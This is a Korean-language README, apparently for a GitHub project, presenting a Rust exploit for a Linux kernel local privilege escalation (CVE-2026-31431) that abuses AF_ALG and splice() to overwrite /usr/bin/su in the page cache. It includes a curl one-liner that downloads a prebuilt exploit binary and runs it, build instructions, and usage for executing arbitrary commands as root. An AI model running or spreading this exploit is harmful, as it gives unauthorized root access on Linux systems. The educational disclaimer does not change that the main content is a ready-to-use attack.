
Copy Fail 익스플로잇 (CVE-2026-31431)을 Rust로 구현.
Copy Fail 익스플로잇(CVE-2026-31431)의 Rust 구현으로, AF_ALG와 splice()를 연결하여 4바이트 페이지 캐시 쓰기를 달성하는 치명적인 취약점이며, 주요 Linux 배포판에서 로컬 권한 상승으로 이어집니다.
Xint Code의 연구 및 PoC를 기반으로 합니다.
[!CAUTION] 이 프로젝트는 교육 및 연구 목적으로만 사용됩니다. 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에서 이 익스플로잇을 실행하는 것은 불법이며 비윤리적입니다. 유사한 취약점을 이해하고 방어하기 위해 이 코드를 책임감 있게 사용하십시오.
libc를 통해 Linux 커널의 AF_ALG 및 splice() 시스템 콜과 직접 상호 작용합니다.사전 컴파일된 PoC 바이너리를 직접 다운로드하여 실행할 수 있습니다:
curl -L https://github.com/sammwyy/copyfail-rs/releases/download/poc/copyfail-rs_x86-64 -o copyfail-rs && chmod +x copyfail-rs && ./copyfail-rs
/usr/bin/su).리포지토리를 클론하고 바이너리를 빌드합니다:
git clone https://github.com/sammwyy/copyfail-rs.git
cd copyfail-rs
cargo build --release
인수 없이 익스플로잇을 실행하면 기본값으로 /bin/sh가 실행됩니다:
./target/release/copyfail-rs
또는 root로 실행할 사용자 정의 명령을 지정합니다:
./target/release/copyfail-rs "whoami > /tmp/pwned"
이 익스플로잇은 Linux 커널의 Crypto API(AF_ALG) 내 authencesn 구현의 버그를 활용합니다. MSG_MORE와 함께 sendmsg를 splice()와 연결하면 악성 ELF 페이로드로 임의 파일(예: /usr/bin/su)의 페이지 캐시의 작은 청크를 덮어쓸 수 있습니다.
AF_ALG 소켓을 생성하고 authencesn(hmac(sha256),cbc(aes))에 바인딩합니다.AF_ALG 취약점을 사용하여 페이로드를 대상 파일의 페이지 캐시에 반복적으로 스플라이스합니다.